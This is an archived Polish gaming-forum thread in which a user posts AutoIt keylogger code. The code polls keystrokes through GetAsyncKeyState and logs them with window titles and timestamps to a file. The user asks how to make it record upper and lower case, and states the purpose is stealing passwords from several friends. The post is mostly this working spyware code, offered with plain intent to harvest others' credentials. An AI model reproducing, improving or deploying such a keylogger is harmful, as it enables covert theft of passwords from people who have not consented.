Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Pytanie] Odróżnianie wielkości liter


Rekomendowane odpowiedzi

Opublikowano

Na wstęp: Dzięki Keniger ;p

 

Jak zrobić żeby rozróżniał wielkość liter? Chcę wyciągnąć hasła od kilku znajomych

 

Func sGetKey()
	While 1
		Sleep(15)
		For $sKey = 8 To 126
			$Result = _WinAPI_GetAsyncKeyState($sKey)
			If $Result = -32767 Then
				If $sKey = 13 Then
					$Result = $Enter2
					_LogKeyPress($Result)
				ElseIf $sKey = 8 Then
					$Result = $Bs
					_LogKeyPress($Result)
				Else
					$Result = ChrW($sKey)
					_LogKeyPress($Result)
				EndIf
			EndIf
		Next

	WEnd
EndFunc   ;==>sGetKey
#EndRegion

Func _LogKeyPress($Result)
	$Window = WinGetTitle("")
	If $Window = $Window2 Then
		FileWrite($Log, $Result)
	Else
		$Window2 = $Window
		FileWrite($Log, "<BR>" & "<b>" & "[" & @YEAR & "." & @MON & "." & @MDAY & "  " & @HOUR & ":" & @MIN & ":" & @SEC & "]" & @TAB & $Window & "</b>" & "<BR>" & $Result)

EndIf
EndFunc

Wszystko loguje w dużych literach, a ja chcę żeby to co napisze się małą wyświetlało jako małą a dużą jako dużą po prostu. Jak to zrobić?

 

Tutaj korzystam z user32.dll

 

Moje tutki:

"Bad Video Card Drivers" - Błąd w mc? Zobacz do mnie aby dowiedzieć się jak to naprawić!

Chcesz wyciągnąć maksymalną ilość fps w minecraft? Kliknij

tu!

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...